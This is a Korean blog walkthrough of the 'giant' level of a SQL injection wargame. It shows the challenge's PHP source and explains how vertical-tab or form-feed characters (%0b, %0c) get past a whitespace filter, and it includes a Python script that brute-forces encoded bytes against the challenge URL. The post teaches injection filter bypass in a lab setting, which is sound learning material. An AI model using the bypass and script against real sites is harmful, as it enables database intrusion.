[LOS] 14번 giant 풀이
2019. 8. 7. 01:00ㆍ문제풀이/los.rubiya.kr
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result[1234]) solve("giant");
highlight_file(__FILE__);
?>
갑자기 소스코드가 엄청 짧다.
이번 금지 문자열은 공백(띄어쓰기), \n(줄바꿈), \r(Carriage Return), \t(Tab)이고, shit은 1글자여야 한다.
sql query를 보면 shift를 이용하여 from과 그 뒤 문자열을 구분해주어야 한다. 단, 위에 적힌 금지 문자열을 쓰지않고!
해당 내용은 5번 wolfman 풀이 때 설명했었다.
이 중 띄어쓰기를 우회하는데 사용되는 문자는
%09 :Horizontal Tab
%0a :Line Feed
%0b :Vertical Tab
%0c :Form Feed
%0d :Carriage Return
이 있는데, 본문에서는 \t(%09), \r(%0a, %0d)를 금지했으니까 남은건 %0b와 %w0c이다.
...더보기
무작정 대입해서 통과하는 문자 찾기
import urllib.request
url = 'https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php'
headers = {}
headers['cookie']=" "
headers['User-Agent']="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
#length
def find_blank():
for i in range(0, 31):
url1 = "?shit=%"+ str(format(i, 'x').zfill(2))
req = urllib.request.Request(url+url1, headers=headers)
data = urllib.request.urlopen(req).read().decode('utf-8')
if(data.find("Clear")!=-1):
print(f"key: %{str(format(i, 'x').zfill(2))}")
break
if __name__ == '__main__':
find_blank()
'문제풀이 > los.rubiya.kr' 카테고리의 다른 글
[LOS] 16번 succubus 풀이 (0) | 2019.08.07 |
---|---|
[LOS] 15번 assassin 풀이 (0) | 2019.08.07 |
[LOS] 13번 bugbear 풀이 (0) | 2019.08.07 |
[LOS] 12번 darkknight 풀이 (0) | 2019.08.06 |
[LOS] 11번 Golem 풀이 (0) | 2019.08.06 |